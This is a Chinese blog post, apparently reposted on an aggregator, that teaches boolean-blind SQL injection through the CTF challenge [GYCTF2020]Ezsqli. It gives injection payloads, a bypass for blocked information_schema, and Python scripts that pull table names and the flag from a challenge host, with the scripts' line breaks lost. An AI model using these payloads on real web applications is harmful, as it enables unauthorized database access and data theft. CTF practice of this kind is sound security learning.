以题为例 浅谈sql注入布尔盲注

什么是布尔盲注

布尔盲注就是在注入过程中,页面只会返回false和true,不会去返回其它的信息,所以我们不能通过语句查询直接获得数据库的名字,而是通过逻辑获得数据库的信息

布尔盲注常使用函数

length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

只要是盲注,都离不开这些函数

一些常见的payload

length(database())>a //a是可变参数,通过a的大小去获得数据库的长度
ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),i,1))>mid
#sys.x$schema_table_statistics_with_buffer是information_schema.tables的替代品,i和mid是可变参数,通过这个来获取表名

常见的绕过

information_schema.tables表的绕过用sys.x$schema_table_statistics_with_buffer绕过

具体可见Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客

这篇博客

例题

多说无益,以题见真章

[GYCTF2020]Ezsqli

打开题目就可以看到一个注入框,测试一下可以发现它有几种显示,如果是1就会显示Nu1L,如果是0就会显示Error Occured When Fetch Result.,其它的就不测了主要利用的就是这两个点,接下来就是测试如何使用;

测试之后发现有这几种方式可以使用

if(ascii(substr(database(),1,1))>32,1,2)0^(ascii(substr(database(),1,1))>32)(1 && (ascii(substr(database(),1,1))>32))

这几种可以记一下也是比较经常使用的,这道题使用第二种方式异或

先使用异或测试到数据库的长度是21

0^(length(database())=21)

爆数据库的名字payload

1&&substr(database(),1,1)='g'

 以此为例写一个脚本,在这里就不写了

然后开始爆表

#buuctf web ezsqli
from turtle import right
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
table_name = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:mid = (letf+right) // 2payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:table_name += chr(letf)time.sleep(0.2)print(table_name)else:break

爆出表名f1ag_1s_h3r3_hhhhh,users233333333333333

爆flag用比较注入

0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'A'))

脚本

#buuctf web ezsqli
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
flag = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:s = flagmid = (letf+right) // 2s = s + chr(mid)payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:flag += chr(letf-1)print(flag)time.sleep(0.2)else:break

最后记得将爆出的flag换成小写就可以了

如果在发现布尔盲注的题会继续补充;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/734151.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TDengine 签约益和热力,应对智慧供热系统大规模数据挑战

近日&#xff0c;涛思数据与安阳益和热力集团有限公司达成合作协议&#xff0c;共同致力于推动智慧供热系统的建设和发展。作为安阳市城市集中供热的主要负责单位&#xff0c;益和热力将借助涛思数据先进的技术和解决方案&#xff0c;提升供热行业的管理效率和服务质量。在本次…

the demo for C# multicast delegate 多播委托

委托类Delegate&#xff0c;位于System命名空间下,是所有声明的委托类型的基类. 例如我们声明了一个委托类型Func<int,bool> MyFunc或者 delegate bool MyDel(int i); 该类型声明成功后&#xff0c;该委托类自动继承System.MulticastDelegate&#xff0c;其包含了构造…

为什么在镀膜时要测薄膜折射率?

在芯片制造中&#xff0c;镀膜工序&#xff08;PVD,CVD&#xff09;是必不可少的关键环节&#xff0c;薄膜的质量直接影响了芯片的性能。对这些薄膜的精细控制又离不开对其折射率的深入理解和精确测量。今天将对芯片制造中薄膜折射率的概念、测量方法&#xff0c;以及它在整个制…

Arcgis小技巧【19】——更改字段顺序

一、问题分析 一般情况下&#xff0c;一个合格且严谨的要素或表数据&#xff0c;它的字段顺序都是固定的。 比如三调数据&#xff0c;正常的字段数据如下&#xff08;截取部分字段&#xff09;&#xff1a; 数据经过处理&#xff0c;如增删字段&#xff0c;可能会出现字段顺序…

SAM模型

SAM与过去分割对比 根据以下Demo,我们可以发现&#xff0c;通过在图像中指定要分割的内容提示&#xff0c;SAM可以实现各种分割任务&#xff0c;且无需额外的训练、做到零样本泛化&#xff0c;即SAM学会了辨别物体、具备图像理解力、对不熟悉的图像和物体能进行零样本概括&…

Hyperf AOP 和 注解

注解 (hyperf.wiki) AOP 面向切面编程 (hyperf.wiki) 切面 定义切面(Aspect) 根据官方教程定义一个切面。可以指定类、方法、参数和注解上生效。 <?php namespace App\Aspect;use App\Service\SomeClass; use App\Annotation\SomeAnnotation; use Hyperf\Di\Annotatio…

论文阅读《FENET: FOCUSING ENHANCED NETWORK FOR LANE DETECTION》

ABSTRACT 受人类驾驶专注力的启发&#xff0c;这项研究开创性地利用聚焦采样&#xff08;Focusing Sampling&#xff09;、部分视野评估&#xff08;Partial Field of View Evaluation&#xff09;、增强型 FPN 架构和定向 IoU 损失&#xff08;Directional IoU Loss&#xff…

STM32单片机示例:ETH_LAN8742_DHCP_NonOS_Poll_H743

文章目录 目的基础说明关键配置关键代码示例链接总结 目的 以太网是比较常用到的功能&#xff0c;STM32系列单片机使用CubeMX配置使用以太网功能比非常方便。不过对于H7系列来说需要使能 DCache 才能启用LwIP&#xff0c;启用Cache后又会带来一些需要特别注意的事情。这篇文章…

急速建立网站方法

急速建立网站方法 WordPress&#xff1a; 简介&#xff1a; WordPress是一种广泛用于建设博客、网站的免费开源内容管理系统&#xff08;CMS&#xff09;。它具有友好的用户界面和丰富的插件生态系统&#xff0c;使得用户可以轻松创建和管理网站。特点&#xff1a; 主题和插件支…

AI智能应用百科立即落地实操课

该课程旨在教授学员如何将AI智能应用于实际场景。通过深入的案例研究和实操练习&#xff0c;学员将学会应用机器学习、自然语言处理等技术&#xff0c;快速解决现实问题。课程强调实际操作&#xff0c;帮助学员快速运用AI技术解决工作中的挑战。 课程大小&#xff1a;3.3G 课…

PyTorch会在每次.backward()调用时会累积梯度的问题

代码 # backward() accumulates the gradient for this tensor into .grad attribute. # !!! We need to be careful during optimization !!! # Use .zero_() to empty the gradients before a new optimization step! weights torch.ones(4, requires_gradTrue)for epoch i…

10 | MySQL为什么有时候会选错索引?

前面我们介绍过索引&#xff0c;你已经知道了在 MySQL 中一张表其实是可以支持多个索引的。但是&#xff0c;你写 SQL 语句的时候&#xff0c;并没有主动指定使用哪个索引。也就是说&#xff0c;使用哪个索引是由 MySQL 来确定的。 不知道你有没有碰到过这种情况&#xff0c;一…

2024年跳槽面试心得

背景 职业&行业&#xff1a;后端7年&#xff0c;二手车行业 由于集团在年初的时候已经定下目标&#xff1a;在年底时&#xff0c;各个事业群中最小核算单元如何还是负盈利&#xff0c;则会丢弃掉不盈利的核算单元&#xff08;换句话说就是裁员&#xff09;。 很不幸我所在的…

【Selenium】selenium介绍及工作原理

一、Selenium介绍 用于Web应用程序测试的工具&#xff0c;Selenium是开源并且免费的&#xff0c;覆盖IE、Chrome、FireFox、Safari等主流浏览器&#xff0c;通过在不同浏览器中运行自动化测试。支持Java、Python、Net、Perl等编程语言进行自动化测试脚本编写。 官网地址&…

学会Web UI框架--Bootstrap,快速搭建出漂亮的前端界面

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属的专栏&#xff1a;前端泛海 景天的主页&#xff1a;景天科技苑 文章目录 Bootstrap1.Bootstrap介绍2.简单使用3.布局容器4.Bootstrap实现轮播…

二分与前缀和

789. 数的范围 - AcWing题库 import java.util.*;public class Main{static int N 100010;static int[] a new int[N];public static void main(String[] args){Scanner sc new Scanner(System.in);int n sc.nextInt();int m sc.nextInt();for(int i 0; i < n; i ){…

在迷惘的时候需要问自己的200个问题?

迷惘时问自己问题是一种很好的方法&#xff0c;可以帮助你更深入地理解自己的内心世界、目标和价值观。以下是超过200个问题&#xff0c;希望能够帮助你在迷惘时找到方向&#xff1a; 我最近感到快乐的时刻是什么&#xff1f;我最近感到沮丧的时刻是什么&#xff1f;我对自己的…

《互联网的世界》第五讲-信任和安全(第一趴:物理世界的非对称加密装置)

信任和安全的话题过于庞大&#xff0c;涉及很多数学知识&#xff0c;直接涉及 “正事” 反而不利于理解问题的本质&#xff0c;因此需要先讲一个前置作为 part 1。 part 1 主要描述物理世界的信任和安全&#xff0c;千万不要觉得数字世界是脱离物理世界的另一天堂&#xff0c;…

【C++庖丁解牛】实现string容器的增删查改 | string容器的基本接口使用

&#x1f4d9; 作者简介 &#xff1a;RO-BERRY &#x1f4d7; 学习方向&#xff1a;致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 &#x1f4d2; 日后方向 : 偏向于CPP开发以及大数据方向&#xff0c;欢迎各位关注&#xff0c;谢谢各位的支持 目录 前言&#x1f4d6;pu…

MACBOOK PRO M2 MAX 安装Stable Diffusion及文生图实例

以前偶尔会使用Midjourney生成一些图片&#xff0c;现在使用的头像就是当时花钱在Midjourney上生成的。前段时间从某鱼上拍了一台性价比还不错的macbook&#xff0c;想着不如自己部署Stable Diffusion&#xff08;以下简称SD&#xff09;尝试一下。 网上有很多教程&#xff0c…